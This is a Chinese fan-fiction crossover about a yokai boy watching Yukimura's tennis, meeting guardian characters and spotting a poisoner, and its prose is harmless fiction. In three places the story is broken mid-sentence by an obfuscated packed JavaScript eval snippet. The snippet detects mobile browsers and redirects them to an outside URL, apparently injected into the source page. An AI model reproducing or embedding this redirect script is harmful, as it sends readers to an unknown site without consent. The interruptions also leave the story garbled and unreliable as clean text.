加九间柳的小臂上已经迅速浮现出一片清晰的红痕,甚至微微肿起,可见刚才那一球的力道之大。但他只是皱了皱眉,甩了甩手臂,声音依旧平静:“没事。”这种小伤,在他眼里的确算不得什么。 幸村和真田也第一时间跑了过来。幸村脸上带着歉意和担忧,仔细的打量伤处:“加九间君,柳君,你们没事吧?非常抱歉,是我的疏忽。” 他没想到发带会突然滑落,更没想到球会转向观众区。 真田的表情也更加严肃紧绷,沉声道:“太松懈了!竟然发生这种意外,快去敷一下伤口。” 加九间柳摇摇头,再次表示自己没事,他的目光却落在幸村捡起的发带上,又看了看幸村额前被汗水微微濡湿的卷发,忽然开口,语气是一贯的直接:“幸村前辈,发带,不合适吗?” 幸村愣了一下,没想到他会问这个,随即苦笑着晃了晃那根绿色发带:“好像是有点松了,该换一根了,或者需要调整一下系法。” 他平时自己练习时很少遇到这种情况,或许是今天动作幅度尤其大。 加九间柳闻言,若有所思。 这场意外的小插曲之后,幸村和真田更加细致地检查了加九间柳的手臂,确认只是皮肉伤没有伤到骨头才松了口气。幸村坚持请他们喝了果汁,又在训练后额外指导了加九间柳一会儿绘画作为补偿。 回家的路上,柳明音还在心有余悸地絮絮叨叨,一会儿说“小柳你刚才超快的!像闪电一样!”,一会儿又担心地问“手臂真的不疼吗?回去要敷一下哦!” 加九间柳大多只是安静地听着,偶尔“嗯”一声回应。 几天后,幸村和真田照常在训练场练习。 休息间隙,加九间柳和柳明音走了过来。加九间柳像往常一样沉默,但他走到幸村面前,从口袋里掏出了一个小小的、叠得整整齐齐的深蓝色绒布袋子,递了过去。 “嗯?这是……”幸村有些疑惑地接过,打开袋子,从里面倒出来的东西让他微微一怔。 那是一条全新的运动发带。颜色是沉静的墨蓝色,材质柔软而富有弹性,吸汗性能看起来很好。样式简洁,没有任何花哨的图案,但在发带的内侧,靠近边缘的地方,却用极细的银色丝线,绣了一个几乎不易察觉的、小巧精致的百合花图案。针脚细密而工整,足以看出送礼者的用心。 “这是……”幸村惊讶地抬头看向加九间柳。 加九间柳的表情没什么变化,只是平静地解释:“赔礼。上次,打断了比赛。” 他似乎觉得这样说不够,又补充了一句,目光扫过幸村现在额上系着的还是那根绿色发带,“这个,应该不会掉。” 柳明音在一旁用力点头,眼睛亮晶晶的,看起来很高兴:“是小柳特意去选的!挑了好久呢!他说幸村哥哥很适合这个颜色!里面的小花也是他画了图样请人绣上去的!” 幸村拿着那条发带,指尖能感受到面料的柔软和精细的做工。他看着内侧那朵需要仔细看才能发现的银色百合,又抬头看看面前这个总是沉默寡言却意外体贴的男孩,心中涌起一丝触动。 他忽然弯下腰,轻轻抱了一下加九间柳,声音里带着真切的笑意和感动:“谢谢你,加九间君。这真是我收到过的,最特别、最用心的礼物之一。我非常喜欢。” 加九间柳似乎没料到这个拥抱,身体微微僵了一下,耳根不易察觉地泛起一丝薄红,但没有推开。 旁边的真田看着这一幕,压了压帽檐,低声评价了一句:“很有心。” 算是极高的赞许。 幸村当场就换上了这条墨蓝色的新发带。那沉静的蓝色与他微卷的蓝紫色头发异常相配,衬得他精致的面容更加白皙,眉眼间的温柔笑意也似乎多了几分沉稳的气息。 “怎么样?”幸村笑着问大家。 “很好看!超级适合幸村哥哥!”柳明音第一个捧场。 加九间柳看着幸村,仔细端详了片刻,然后认真地点了点头,带着点满足的语气,给出了他的评价:“嗯,不会掉。很好看。” 换上新的墨蓝色发带后,幸村精市确实再也没有遇到过发带滑落的困扰。那贴合舒适的材质和恰到好处的弹性,仿佛是为他量身定做的一般。但那条意外滑落的旧发带,以及随之而来的、加九间柳瞬间爆发挡在柳明音身前的反应,却在他心中留下了比想象中更深的印象。 他开始思考一些别的东西。 几天后的训练间隙,幸村没有像往常一样立刻开始下一轮的对打练习,而是独自走到了一个相对安静的角落场地。他拿出了一条普通的深色毛巾,比划了一下,然后将其折叠成长条状。 加九间柳正和柳明音在一旁进行简单的对垫练习——主要是柳明音努力把球打过去,加九间柳将球精准地回馈到柳明音最容易接到的地方。柳明音玩得不亦乐乎,加九间柳的目光时不时地飘向角落里的幸村。 幸村精市用那条折叠好的毛巾仔细地蒙住了自己的眼睛,在脑后打了个结。 “诶?幸村哥哥在做什么?”柳明音也注意到了,停下了挥拍的动作,好奇地歪着头,“是在玩什么游戏吗?” 加九间柳没有回答,只是静静地看着。他看到幸村在完全遮蔽视觉后,并没有慌乱,而是微微仰头,像是在适应这片黑暗。然后,他俯身从脚边的球筐里拿起一颗网球,轻轻抛向地面。 网球落下、弹起、再落下……发出规律而清晰的声音。 幸村侧着头,耳朵微微动着,全神贯注地捕捉着声音的来源和远近。他尝试着伸出手,向着声音传来的最后位置探去,第一次落空了,第二次,指尖擦过了弹起后即将再次下落的网球。 他的动作很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360805|183667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢,带着一种摸索和试探,但神情却异常专注和平静,仿佛隔绝了外界的一切干扰,整个世界只剩下他和那颗跳跃的网球。 “好像……不是游戏。”加九间柳轻声说,黑色的眼眸里闪过一丝了然。他看出了幸村是在主动剥夺自己的视觉,以此来强化其他的感知能力。 是因为上次发带意外遮挡视线后的启发吗? 真田弦一郎也走了过来,他看着幸村的举动,抱臂站在场边,眼神凝重地注视着。 一次又一次,幸村重复着这个练习。抛球,聆听,捕捉。他的成功率在缓慢地提升,从最初完全碰不到,到后来偶尔能用手指触碰到网球,再到最后,十次里大概能有两三次准确地在那颗网球弹跳到某个高度时将其握入手中。 这个过程无疑是艰难甚至有些枯燥的,需要极大的耐心和专注。汗水顺着他的脸颊滑落,浸湿了墨蓝色发带的边缘,但他脸上的表情却没有丝毫的不耐烦,反而带着一种沉浸其中的平静。 柳明音看了一会儿,似乎觉得这练习有些单调,又或许是不忍心看幸村一次次“失败”,便低下头摆弄自己的相机,翻看之前拍下的照片。 加九间柳看得非常认真。他甚至不自觉地模仿着幸村侧耳倾听的姿态,仿佛在脑海中同步进行着同样的训练。 过了好一会儿,幸村才解开了脑后的毛巾结。骤然恢复视觉,光线涌入眼帘,让他微微眯了一下眼睛,适应了片刻。他轻轻吁了口气,脸上带着运动后的潮红,但眼神却异常明亮,仿佛有什么新的东西在其中酝酿、生长。 他转过头,恰好对上加九间柳凝视的目光。 幸村微微一笑,走了过来:“吓到了吗?”他指的是自己刚才有些奇怪的练习方式。 加九间柳摇摇头,语气肯定:“你在训练自己。”不是疑问,是陈述。 “嗯,”幸村有些惊讶于他的敏锐,随即坦然承认,“算是吧。上次发带掉下来的时候,虽然只有一瞬间,但感觉很奇怪……视觉被剥夺后,其他的感觉,比如听觉,以及对球路的预判,好像变得稍微清晰了一点?虽然还很粗糙。”他顿了顿,看着加九间柳,“而且,加九间君你当时反应真的很快,几乎是在球飞出去的瞬间就动了。是靠眼睛看到的,还是……感觉到了什么?” 加九间柳沉默了一下,似乎在组织语言,他当然无法直接点明自己身为妖怪的本能,思索片刻慢慢地说:“声音。球拍击球的声音不一样,还有……空气被划开的感觉。”这是一种近乎本能的、在无数次危急关头锤炼出的直觉预警,但他无法详细解释这种感觉的来源。 幸村眼中的光芒更盛了:“果然……不仅仅是依靠视觉么。”他像是找到了知音,语气带着一丝兴奋,“我在想,如果能有意识地削弱甚至暂时关闭视觉,是不是能更快地逼迫自己去依赖和强化其他的感知?不仅仅是听觉,还有对对手气息、意图,甚至球场空间本身的感知……” 他说着一些对小学生来说可能有些深奥的概念,但加九间柳却听得很认真,甚至偶尔会点一下头。 两人似乎都没有自己尚且是一个小学生的自觉。 “会很困难。”加九间柳评价道。他深知在失去重要感官的情况下保持冷静和判断力有多难。 “是啊,”幸村笑了笑,笑容里却带着一种不容置疑的坚定和挑战欲,“但很有趣,不是吗?网球……似乎还有很多未知的领域可以探索。” 从那天起,幸村精市的训练项目中,多了一项看似古怪的内容。有时是蒙眼听声辨位,有时是戴着隔音效果极好的耳塞单纯依靠视觉和预判来接球,甚至有时会尝试在极其嘈杂的环境下集中注意力。 真田弦一郎也会跟随幸村精市的步伐,只是比起幸村在各方面的尝试,他会更加严苛地要求自己的基础训练,同时也在默默关注着对方的安全。 加九间柳会看得目不转睛,那双漂亮沉静的黑眸里,映照着幸村在自我设定的困境中挣扎、适应、乃至试图超越的身影。他仿佛看到了一种全新的、强大的可能性正在悄然孕育。 他甚至会在自己练习时,偶尔尝试着闭上眼睛,仅仅依靠听觉和身体对气流的感知来回击柳明音打过来的慢速球——虽然最开始成功率低得可怜,但他乐此不疲。 训练场上的四个身影,以各自不同的方式,追逐着那颗跳跃的黄色小球。幸村精市额上的墨蓝色发带随着他的动作微微飘动,其下的脑海中,一个关于“绝对掌控”的朦胧概念,正伴随着视觉与听觉的交替剥离与强化,逐渐变得清晰起来。 5. 全国大赛 日子在规律的训练和学习中平稳过去,季节悄然更迭,训练场边的樱花树已绽出繁茂的绿意,阳光也日渐炽烈。 幸村精市那些“特殊”的训练似乎从未间断,并且逐渐融入了他的日常练习中,变得不再那么引人注目。有时他只是短暂地闭眼发球,有时则会戴着降噪耳机进行多球练习,神情专注得仿佛周遭一切都不存在。 柳明音依旧快乐地充当着“最佳后勤”和“首席摄影师”。他的网球技术依旧平平,但捡球的效率大大提高,拍照的角度也越发刁钻,抓拍到了许多精彩瞬间,尤其是加九间柳眼神锐利击球的刹那,以及幸村和真田比赛中那些充满力量与美感的画面都被很好的保留下来。 “像野兽一样,很帅啊”幸村精市站在柳明音的身后,低头看着他已经洗出来的照片,突然的出声吓了他一跳,随后柳明音投来疑惑的目光。 幸村精市伸手挑出其中一张,是加九间柳的,在击中球的瞬间,少年平静的脸上难得展露一抹笑意,就连瞳孔也愉悦地竖起,像只捕食到猎物的兽。 “这张,可以给我一份吗?” 柳明音愉快地与幸村精市分享了自己的藏品,他很高兴能够听到对于加九间柳的夸赞,那也同是对他的拍摄技术的肯定。 四人就这样相识两年,加九间柳并没有完全的沉浸在网球里,他的爱好很多,会同幸村精市相约到风景不错的地方写生,也不忘巩固姑姑教给他的剑术,于是在剑道馆里也留下天才的名声,弓道,茶道,料理……凡是能想到的加九间柳都会去尝试。 柳明音很难在上午起来,加九间柳并不强求,如果还没睡醒,他会自己去前往各个约定好的训练地点,等下午再回来接了柳明音去学校上课后,两人再一起黏黏糊糊地到处玩。 就连幸村精市也不得赞叹对方近乎无穷的精力。 在柳明音与加九间柳升入五年级时,幸村精市和真田弦一郎也成功考入立海大附中,成为立海大国中一年级生并加入网球部,在极短的时间内成为了正选。 升入中学的幸村精市和真田弦一郎,如同投入平静湖面的两颗石子,在立海大附属中学网球部乃至整个关东的中学网球界,迅速激起了巨大的涟漪。 他们的名字开始频繁出现在地区预选赛、都大赛、关东大赛的赛程表和报道中。立海大附中网球部在那一片耀眼的土黄色中,以无可匹敌的姿态横扫所有对手。一年级便成为正选,并且以绝对实力稳坐单打位置的幸村和真田,更是成为了备受瞩目的焦点。 “立海大的新生代怪物”——人们开始这样称呼他们。 加九间柳和柳明音依旧会去训练场,但见到幸村和真田的次数明显减少了。中学的课业和部活更加繁忙,尤其是作为正选,他们需要投入大量的时间进行团队训练和外出比赛。 但幸村和真田并未忘记这两个小家伙。偶尔周末有空时,他们依然会出现在训练场,指导两人的技术。只是,他们谈论的话题渐渐多了许多关于比赛、关于对手、关于战术的内容。 柳明音成了立海大网球部的忠实小粉丝,小心翼翼地收集着所有关于立海大比赛的剪报和杂志报道,尤其是带有幸村和真田照片的部分。他的相机里,也留下了越来越多两人穿着立海大队服在赛场上意气风发的画面。 “关东大赛十四连胜!”柳明音兴奋地举着杂志,指着上面的标题对加九间柳说,“幸村哥和真田哥太厉害了!而且听说幸村哥到现在一场都没输过,甚至没有人能从他手里拿下一局!” 加九间柳看着杂志上幸村精市在赛后列队时微笑的照片。那笑容依旧温柔,但眼底深处属于王者的自信和骄傲,比小学时更加清晰夺目。 “嗯。”加九间柳应了一声,目光落在报道中提到的“幸村精市”和“真田弦一郎”的名字上,手指无意识地收紧。一种混合着向往以及淡淡竞争意识的情绪在他心中悄然滋生。 当盛夏的暑气达到顶峰时,中学网球界最高荣誉的争夺战——全国大赛终于拉开了帷幕。 立海大附中毫无悬念地一路杀入全国大赛,并且成为了夺冠的最大热门。 比赛前夕,幸村特意联系了加九间柳和柳明音。 “明天就是全国大赛的决赛了,”电话里,幸村的声音带着笑意,却也有着不容错辨的认真,“要来看吗?应该会是一场不错的比赛。” 这样的邀请,他们自然不会错过。 全国大赛的会场气氛比地区预选赛要宏大和紧张数倍。来自全国各地的强校齐聚于此,空气仿佛都因沸腾的战意而微微扭曲,令人心跳加速。 柳明音紧张地攥紧了相机,生怕错过任何细节。他们坐在立海大应援区附近,能清晰地看到场边正在做最后准备的立海大队员们。 幸村精市披着土黄色的正选外套,正在和真田弦一郎低声交谈。他的表情平静,眼神缓缓扫过决赛对手的场地,目光深邃,带着一种仿佛已然掌控一切的从容。真田的表情则更加冷硬,抱着臂,如同即将出鞘的利剑。 决赛开始了。 真田弦一郎在单打三的位置上场,他的“其疾如风”和“侵略如火”已然成型,猛烈的攻势引得观众席阵阵惊呼,最终他以压倒性的优势为立海大拿下一城。 加九间柳眯起了眼,周围的人似乎对冒着火光的网球并没有什么异议,在他更深的视界里,也没用附着任何外界的力量,完全是靠着他自身的速度与力量打出的网球。 人类,原来可以将网球打到这种程度吗。 气氛越来越白热化。 当幸村精市作为单打一选手,缓缓脱下外套,拿起球拍步入场地时,整个会场的气氛达到了一个高潮。无数道目光聚焦在他身上,有期待,有好奇,也有审视——所有人都想看看,这位被传得神乎其神的一年级部长,究竟拥有着怎样的实力。 加九间柳屏住了呼吸,目光紧紧锁在幸村身上。 比赛开始初期,幸村的对手状态极佳,攻势猛烈,试图以力量压制住幸村。幸村依旧以那种看似轻松优雅的方式回击着,步伐精准,回球角度刁钻,稳稳地守住每一球。 然后,变化发生了。 似乎是在某一分结束后,幸村的对手准备发球时,动作忽然出现了一个极其细微的迟疑。他甩了甩头,眼神里闪过一丝困惑,仿佛不确定自己该做什么。 “怎么了?”柳明音小声问。 加九间柳没有回答,他的瞳孔微微收缩,捕捉到了对手眼眸中那令人不易察觉的空洞,或许是过于敏锐的感官影响,在视线触及到幸村精市的刹那,加九间柳感觉眼前一片漆黑,周围的声响似乎也消失了,但他很快挣扎出这种境况。 接下来的比赛,呈现出一面倒的、甚至可以说是诡异的态势。 幸村的对手,失误开始离奇地增多。不是出界,就是下网。有时,他甚至会对着飞向界内的球无动于衷,仿佛根本没有看到它。他的表情从最初的困惑,逐渐变为焦躁、难以置信,最后甚至染上了一丝……恐惧。 “Out!立海大幸村得分,40-0!” “发球失误!双误!Game won by 立海大幸村,1-0!” “触网!立海大幸村得分,15-0!” 裁判的声音一次次响起,伴随着对手越来越苍白的脸色和微微颤抖的手。 “他听不到,也看不到了。”加九间柳向柳明音解释了目前场上的情况,那个选手甚至没有去接一个速度并不快的球,只是茫然地站在原地。 场上的对手,此刻仿佛被困在了一个无声、无光、甚至感觉不到自身存在的绝对孤寂的世界里。他失去了判断力,失去了方向感,甚至失去了对自身肌肉的控制。 “剥夺……五感……”加九间柳几乎是无声地吐出了这几个字。他终于明白了,幸村那些看似古怪的训练,最终指向了何等可怕的地步。这不是单纯的技术或力量,这是一种深入精神层面的,绝对的支配! 比赛毫无悬念地结束了。比分是令人震惊的6-0。 当裁判宣布胜利的那一刻,幸村的对手仿佛虚脱一般跪倒在地,大汗淋漓,眼神空洞,过了十几秒才逐渐聚焦,仿佛从一场噩梦中惊醒,脸上残留着惊惧和后怕。 幸村精市站在网前,依旧是那副云淡风轻的模样,甚至额角的汗都不算多。他向着对手伸出手,脸上带着恰到好处的,属于胜利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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加九间柳的脑海中,依旧清晰地回放着刚才比赛的每一个细节——对手那从困惑到惊恐、最终彻底崩溃的神情,以及幸村那双平静无波却仿佛能洞穿一切、掌控一切的紫蓝色眼眸。 并非力量或速度的碾压,那是一种更本质、更接近“规则”层面的支配。仿佛执掌神罚的神明,轻描淡写地便可收回赋予人类的感官,将人打入无间黑暗。 毋庸置疑的强大。 这是人类的精神力。 颁奖仪式结束后,幸村和真田穿过欢呼的人群,朝着加九间柳和柳明音走来。 “幸村哥!真田哥!恭喜你们!太厉害了!全国冠军!”柳明音第一个冲上去,眼睛里闪烁着崇拜的星星,语无伦次地表达着祝贺。 真田压了压帽檐,虽然依旧表情严肃,但紧抿的嘴角还是柔和了一丝微不可察的弧度:“谢谢。” 幸村则笑着揉了揉柳明音的头发:“谢谢你们来看比赛。”他的目光随即转向一旁沉默的加九间柳,敏锐地捕捉到了对方眼中尚未完全褪去的震撼和深思,“加九间君,觉得比赛怎么样?” 加九间柳抬起头,眼眸直直地看向幸村,异常认真地问道:“最后……那个人,听不到,也看不到了。”是陈述的语气。 幸村微微怔了一下,似乎没料到他会问得如此直接和切入核心。他随即莞尔一笑,并没有直接否认,只是用了一种更委婉的方式解释道:“网球,有时候并不仅仅是身体和技术的较量。精神和意志,同样至关重要。”他的目光变得有些深远,“当对手的信念出现动摇,对自己的判断产生怀疑时,比赛的方向就会改变。” 这几乎等同于承认。 加九间柳的心脏重重地跳了一下,幸村的“灭五感”,是建立在极其强大的基础能力、精妙绝伦的战术布局以及对对手心理的精准打击之上的,是一种将精神压力实体化的恐怖绝招。 真田在一旁沉声补充,像是在告诫眼前的两个后辈,也像是在重申自己的信念:“无论如何,胜利才是最终的目的。为了立海大的三连霸,绝不能有丝毫松懈。” 是的,三连霸。他们站在全国冠军的荣耀之巅,目光却已经投向了更远的未来。 一种前所未有的渴望,如同藤蔓般悄然缠绕上加九间柳的心脏,那是一种不同于战场上厮杀所给他带来的触动。 他也想要站上那样的赛场。 他也想要体验那种掌控一切的感觉。 他也想要……变得更强,强到足以理解,甚至有一天能够面对那样的“灭五感”。 一个全新的、更加广阔而深邃的网球世界,在他面前轰然打开了大门。 不仅止步于兴趣的程度,加九间柳试图抓住那更高的什么。 6. “和平年代” 全国大赛的震撼余波尚未在加九间柳心中完全平息。那份对更高境界的渴望,促使他更加专注于自身的锤炼。无论是网球、剑道还是其他技艺,他都投入了比以往更甚的热情。就连庭院也由此改动,后院大片的空地被规划着分做一块块不同的训练场地,省去了赶路的时间,便留出了更多的训练机会。 周末下午,加九间柳结束了在家的额外练习——他试图寻找自己的球技,可惜风格依旧是极其符合牛顿学的直来直往,但加九间柳力气很大,极高的速度和极重的力道也难以让普通人顺利接住,他会找他的妖怪朋友——莹草陪练。他背着球拍袋,准备穿过附近一座以精致庭园闻名的大型公园,前往与柳明音约好的甜品店。 夏末的公园绿意盎然,阳光透过繁茂的枝叶洒下斑驳的光点。加九间柳步履轻快地走在林荫小道上,思绪还沉浸在方才练习的球路分析中。 一阵细微却异常清脆欢快的嬉笑声打断了他的思考。那声音并非普通孩童的玩闹,更带着一种奇特的纯粹的灵气,引起了他敏锐感知的注意。 他下意识地朝声音来源望去,只见不远处一棵巨大的橡树后面,似乎有几点极其明亮、温暖的光点在闪烁。 加九间柳的脚步顿了顿。他的视觉与常人不同,能捕捉到更多细微的能量流动和形态。他确信那并非昆虫或小鸟,也不是普通的反光。那是一种更接近“核心”的活泼的生命能量体。 出于纯粹的好奇,他悄无声息地靠近了几步,躲在了另一棵树的阴影后,静静观察。 从树后飞出来的,是三个只有巴掌大小、形态各异却都精致可爱的小生物。一个穿着类似运动装的模样,很有活力地挥舞着花球;一个戴着艺术家风格的贝雷帽,拿着一个迷你的调色板;最后一个像是烹饪装束,像奶油蛋糕一样甜丝丝柔软的小家伙。 它们正绕着一个看起来和现在的他同龄——五年级的女孩飞舞。那女孩的装扮按照现在小学生来看很酷,面上的神情却并不冷漠,眼神里充满了对那几个小生物的无奈却包容。 “所以说,亚梦酱!刚才那个后空翻超厉害的!再多练习一下肯定更完美!”运动装扮的小生物元气满满地喊着。 “小兰,亚梦已经很努力了啦~不过刚才的动作配上更华丽的色彩想象会不会更好呢?”艺术系的小生物建议。 “美琪说得对!亚梦无论做什么都闪闪发光!Supe~r!”烹饪服的小生物一脸幸福的转圈。 被称作亚梦的女孩叹了口气,压低声音说:“好啦好啦,小兰,美琪,小丝,我知道啦……不过在外面你们要小心一点,不要被其他人看到啊……” 加九间柳静静地注视着这超常的一幕。他听不到那些小生物具体在说什么,却能清晰地感知到它们与那女孩之间强烈的情感纽带和能量共鸣。它们仿佛是从女孩内心深处诞生出来的、纯粹化的某种“理想”或“特质”的具现体。 她们都是那个孩子的一部分。或者更故事一点来说,是那孩子的守护灵吗? 他心中闪过这样的念头。这个世界果然存在许多常理无法解释的事物。他自己的存在本身或许就是其一。这些小家伙散发出的能量温暖而正向,并无恶意。 就在这时,那个运动装扮、名叫小兰的守护甜心,为了演示一个高难度动作,猛地一个加速飞旋,不小心撞到了低垂的树枝,“呀!”地惊叫一声,被弹飞了出去,方向正好是加九间柳所在的位置。 加九间柳几乎是条件反射地伸出手,精准地在那小东西撞上树干之前,用掌心接住了它。 小兰在他掌心晕头转向地晃了晃脑袋,抬起头,对上了一双平静无波、却仿佛能看透一切的黑色眼眸。 “哇啊啊啊!”小兰吓得立刻飞了起来,躲回到刚刚焦急跑过来的日奈森亚梦身后,“亚、亚梦!有人!他看见我了!” 日奈森亚梦也吓了一跳,紧张地看向加九间柳。美琪和小丝也立刻戒备地飞到她身边。 加九间柳收回手,表情依旧没什么变化。他看了看如临大敌的四个……呃,一个人类和三个小生物,平静地开口:“它们是你的?” 他的语气太过自然,仿佛在问“这是你的书包吗”,反而让日奈森亚梦愣住了。她预想中的惊叫、质疑或者恐惧都没有出现。 “你……你能看见?”日奈森亚梦惊讶地问,同时下意识地护着自己的守护甜心们。 “嗯。”加九间柳点了点头,目光再次扫过那三个因为被直视而有些紧张地缩了缩的小家伙,“能量很纯净,没有恶意。不用担心,我没有敌意。” 他的直接和坦然反而让亚梦放松了一丝警惕。能如此平静地看见守护甜心并说出这种话的人,她还是第一次遇到(通常不是被吓坏就是像唯世君他们一样是同伴)。 “谢、谢谢你接住小兰。”亚梦道谢道。 “举手之劳。”加九间柳回答。他的目光在亚梦和守护甜心之间流转,似乎对此很感兴趣,但并没有深入探究的意图。每个人都有自己的秘密和特殊之处,他尊重这一点,就像幸村和真田也从未深入探究过他异于常人的视觉和体能一样。 “那个……你是?”亚梦好奇地看着这个看起来年纪可能比自己小一点,却异常沉稳冷静的黑发少年。 “加九间柳。”他报上名字,然后看了看天色,“我该走了,有人在等我。” 说完,他对亚梦和她身边那三个依旧好奇打量着他的守护甜心微微颔首,算是告别,便转身继续沿着小路离开,整个过程没有丝毫拖泥带水。 日奈森亚梦和她的守护甜心们愣在原地,看着他就这样干脆利落地走了。 “好、好奇怪的人……”小兰飞出来,叉着腰说道。 “但是,他好像没有觉得我们很奇怪呢。”小丝软软地说。 美琪抱着调色板,若有所思:“他身上的‘色彩’也很特别,看不透。” 加九间柳走出公园,将刚才的小插曲抛在脑后。但也思维发散地想过,那种生物,是那孩子心中渴望自己成为的模样吧,幸村精市和真田弦一郎会诞生守护灵吗。 不,他们对自己的未来足够坚定且一直在努力着,他们的未来早就掌握在自己手里了。 无论是哪种情况,在加九间柳看来都很有趣。 这就是人类啊。 他加快了脚步,推开甜品店精致的玻璃门,凉爽的甜香空气扑面而来,瞬间驱散了夏末午后的些许燥热。他一眼就看到了坐在窗边正朝着门口张望的柳明音。 “柳君,这里——”柳明音挥手,面前已经摆着一份看起来就令人食欲大动的草莓芭菲,顶上的冰淇淋球似乎还没被动过,显然是在等他。 加九间柳走过去坐下,将球拍袋放在座位旁。 “等很久了?”他问道,语气里带着一丝歉意。 “没有没有,我也刚到!”柳明音笑眯眯地把芭菲往他那边推了推,“快尝尝,这家的奶油超——级好吃!” 加九间柳拿起小勺,舀了一点混合着草莓和奶油的冰淇淋送入口中,冰凉甜美的滋味确实不错。虽然平时并不显露,但他的确很喜欢甜食,但他现在还是小孩子,不能带着柳明音吃太多,会蛀牙。自己独自吃也没什么意思。 “练习还顺利吗?”柳明音一边挖着自己的那份,一边问道。 “嗯。”加九间柳点点头,简单说了说今天已经结束的安排。接着他便提起了公园里的奇遇。 “……然后,我就接住了那个叫小兰的小家伙。”他用一种近乎平铺直叙的语气描述着,仿佛在说今天天气不错,“它们似乎是那个女孩心灵的一部分,或者说是她理想形态的具现化?能量很纯净,没有威胁。” 柳明音听得眼睛睁得圆圆的,勺子都停在了半空:“诶?!这已经完全不科学了吧?!心灵具现化……听起来好神奇!那个女孩是什么样的人?” “打扮有点酷,但看起来不坏。”加九间柳评价道,“她似乎很习惯那些小生物的存在。”他顿了顿,补充了一句,“幸村前辈和真田前辈大概不会有那种东西。” “为什么?”柳明音好奇。 “因为他们足够坚定,想要的未来会亲手去拿,不需要额外的‘理想自我’来指引或守护。”加九间柳平静地说出了自己的看法,在他看来这是再自然不过的道理。 柳明音似懂非懂地点点头,注意力很快又被甜点和好友的奇遇吸引:“不过真的好有趣啊!好像漫画里的情节!下次如果还能遇到,小柳能不能……” 他的话还没说完,就被隔壁桌突然响起的惊呼和混乱声打断了。 “爸爸!爸爸你怎么了?!醒醒啊!” 伴随着餐具摔落在地上的脆响,一个年轻女孩惊慌失措的哭喊声骤然响起。 甜品店里悠闲的氛围瞬间被打破,所有人的目光都聚焦了过去。只见一位穿着体面、看起来像是公司职员的中年男性歪倒在卡座椅子上,面色痛苦地捂着喉咙,呼吸急促而困难,很快便失去了意识,从椅子上滑落在地。他的女儿,一个看起来是高中生的女孩,正跪在他身边,吓得脸色惨白,无助地哭喊着。 “快叫救护车!”店长反应很快,立刻喊道。店员们有些慌乱,客人们也纷纷起身张望,议论纷纷,一时间场面有些失控。 “是突发急病吗?” “看起来好可怕……” “要不要做点什么?” 就在这时,两个坐在稍远位置、看起来像是大学生的年轻男子迅速站了起来。其中一个金发黑肤的青年快步上前,冷静地查看了一下倒地男子的情况,探了探颈动脉和呼吸,还活着。随后语气沉稳地对店长和慌乱的女高中生说:“保持空气流通,不要随意移动他。已经叫救护车了吗?” 他的同伴,一个有着上挑猫眼、气质温和的黑发青年,则一边拿出手机确认叫了救护车,一边迅速扫视着周围的环境和桌面上留下的东西——一杯喝了一半的冰咖啡,一份吃了一半的芝士蛋糕,以及一些糖块。 加九间柳的目光也落在了那张桌子上。他的视线快速掠过,比常人捕捉到更多的细节映入脑海:空气中一丝极其微弱却与甜腻氛围格格不入的奇特气味。 “不像普通的急病。”金发青年——降谷零——沉声说,他锐利的目光同样在审视着桌面和倒地的男子,“更像是……中毒反应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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加九间柳抬手指向那块被吃了一半的芝士蛋糕,准确地说,是蛋糕边缘某个不起眼的位置,那里有一个极其微小的、几乎看不见的针孔痕迹,不借助非凡的视力根本无法察觉。 “毒物是通过极细的针管,从蛋糕侧面注入的。”加九间柳的语气没有任何波动,仿佛在陈述一个再明显不过的事实,“目标明确。凶手知道他会点这个,或者诱导他点了这个。” 他的目光转向那个穿着灰色西装,正试图悄悄起身离开的男人。 “而且,凶手还没来得及处理掉注射器。”加九间柳的视线仿佛能穿透对方的西装口袋,“就在他的右边口袋里。他的指尖,还残留着和那股气味相同的东西。” 整个甜品店瞬间鸦雀无声。 所有人的目光,包括降谷零和诸伏景光锐利的审视,立刻聚焦到了那个灰色西装男人身上。 那个男人的脸瞬间变得惨白如纸。 降谷零和诸伏景光对视一眼,没有任何犹豫,立刻上前,一左一右堵住了那人的去路。降谷零的动作迅捷,瞬间就制住了对方试图伸向口袋的手。 “请配合一下。”诸伏景光的语气依旧温和,但眼神却不容置疑。 很快,一个造型精巧的小型注射器从那个男人的口袋里被搜了出来,针尖还残留着少许无色液体。男人彻底瘫软下去,面如死灰。 警察和救护车几乎同时赶到。中毒的男子被紧急送往医院,而投毒未遂或者说是谋杀未遂的凶手则被警方带走。经过初步审讯,这似乎是一起商业纠纷引发的蓄意报复事件。 降谷零和诸伏景光在配合警方做完简单的笔录后,走到了加九间柳和柳明音的面前。 “小朋友,刚才真是多亏了你。”诸伏景光弯下腰,温和地笑道,他的猫眼里充满了惊叹和好奇,“你的观察力实在太惊人了。我们是东大的降谷零和诸伏景光,能告诉我们你的名字吗?” “加九间柳。”他回答道,态度依旧平静。 降谷零也看着他,金发下的眼神锐利却带着赞赏:“你指出关键证据的方式非常直接有效。很有天赋。”已经确定要和诸伏景光一同考入警察学校的降谷零下意识地用上了评估未来苗子的眼光。 柳明音在一旁也为自己的伙伴感到高兴,在事发时大部分画面被加九间柳挡住,他并没有看到太多受害人的模样,也没留下什么阴影。 “只是看到了而已。”加九间柳并不觉得这有什么特别,他的视觉本就是如此。 两位未来的警察再次对视一眼,都在对方眼中看到了同样的想法:这个叫加九间柳的孩子,绝非寻常。 “以后如果想当警察的话,一定会非常出色。”诸伏景光笑着说。 加九间柳想了想,摇了摇头,很认真地回答:“不,我目前的目标是全国大赛的网球冠军。” 